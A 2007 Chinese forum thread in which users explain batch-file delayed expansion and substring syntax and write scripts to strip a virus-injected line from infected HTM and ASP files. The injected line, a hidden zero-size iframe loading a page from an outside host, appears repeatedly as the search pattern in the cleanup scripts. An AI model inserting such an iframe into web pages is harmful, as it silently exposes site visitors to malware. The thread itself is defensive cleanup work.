Board logo

标题: 批处理 中 “!”,“:”什么意思啊? [打印本页]

作者: tolyxiong     时间: 2007-5-22 21:40    标题: 批处理 中 “!”,“:”什么意思啊?

@echo off
set f=c:\aaa.txt
set f2="c:\aaa.bak.txt"
for /?>%f%
if exist %f2% del %f2%
for /f "tokens=* delims=%" %%l in (%f%) do (
set line=%%l
set line=!line:FOR=F_O_R!
echo !line!>>%f2%
)


----------------------
@echo off
setlocal enabledelayedexpansion
for /f "delims=" %%i in (test.txt) do (
set "str=%%i"
set "str=!str: =!"
set "str=!str:~12!"
echo !str!
)
pause

最后3行都什么意思啊? 特别是 那个 “!”,“:” ,他们如何使用的,一点都不懂,高人请帮忙解释下,多谢了

另外: 我还有个问题,我的电脑中毒了,.exe文件被感染,html,asp文件也都被感染了。 htm, asp 文件都是以前积累的一些资料,舍不得删掉。
   病毒文件就是在每个 htm,asp文件的末尾加入了这样一行:“<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>” ,
要一个个删除不是个事,于是就想用批处理能不能解决,高手能否帮帮忙?

[ Last edited by tolyxiong on 2007-5-22 at 09:44 PM ]
作者: bjsh     时间: 2007-5-22 22:55
搜索变量延迟;

至于删除最后一行;
可以通过
for语句历遍被感染的html和asp;
对每一个html和asp文件执行:
findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" 文件名 > 文件名.bak
delete 原文件
然后把bak文件改名为原来的文件即可
作者: tolyxiong     时间: 2007-5-23 01:13
多谢斑竹! 按照你的思路我搞了个.bat文件,功能基本上可以实现,就是需要把它放在需要修改的.htm.asp 文件的根目录下才行。我是这样写的,希望多给建议~~

---------------------------------del.bat
@echo off
setlocal

rem DPATH : 指定目录
rem FILETYPE: 指定文件类型
rem SCONTENT: 替换前的字符串
rem TMPFILE : 临时文件

rem set DPATH=c:\temp
set FILETYPE=*.htm
set SCONTENT="<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>"
set TMPFILE=%random%.bak

rem DO 后面要紧跟 “(”
for /r  %%i in (%FILETYPE%) do (
echo %%i

if exist %TMPFILE% ( del /f/q %TMPFILE% )

set TMPFILE=%random%.bak
findstr /v %SCONTENT% %%i > %TMPFILE%
move /y %TMPFILE% %%i
)
endlocal
作者: tolyxiong     时间: 2007-5-23 01:17
set line=%%l
set line=!line:FOR=F_O_R!
echo !line!>>%f2%
---------------------------
关于 “!”,“:” ,“~”的作用和用法我还是搞不清,能给解释下吗,如果觉得麻烦,给介绍点资料也行~~~~我菜,但是很喜欢这些东西。。。。。
作者: bjsh     时间: 2007-5-23 11:29
你试试这个吧;
放于c盘;双击运行
会搜索整个c盘被感染的html和asp文件并修复;
放于其他盘同;
放于某个目录下;会搜索整个目录及其子目录中被感染的html和sap文件并修复
当然可以改造为搜索所有硬盘;不过用在这觉得是浪费效率;
@echo off
for %%i in (html asp) do (
        for /f %%a in ('findstr /s /m "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" *.%%i') do (
                findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" %%a >%%~pna.bak
                del %%a
                ren %%~pna.bak %%~na.%%i
        )
)

作者: bjsh     时间: 2007-5-23 11:36
对于

你说说的 “!”“:” “~”的作用

参考 以下
set /?
搜索  [CMD]理解变量字符的截取功能
搜索  变量延迟
作者: tolyxiong     时间: 2007-5-23 12:32
多谢了。

我发现我们2个的程序都不能处理文件名里面带空格的文件,
findstr 会把有空格的文件按照空格拆分成几个文件,结果当然是“找不到相应的文件”了,昨天晚上搞了好久未果。。。。 。,我对好多基本的用法都不熟悉,别说灵活运用了。。。。
作者: bjsh     时间: 2007-5-25 19:26


  Quote:
我发现我们2个的程序都不能处理文件名里面带空格的文件,

这个好办啊;

加引号不就解决了么;
@echo off
for %%i in (html asp) do (
        for /f %%a in ('findstr /s /m "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" "*.%%i"') do (
                findstr /v "<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>" %%a >"%%~pna.bak"
                del "%%a"
                ren "%%~pna.bak" "%%~na.%%i"
        )
)

作者: wangmeng052     时间: 2007-6-11 23:23
太复杂了。。。。。。。。。。。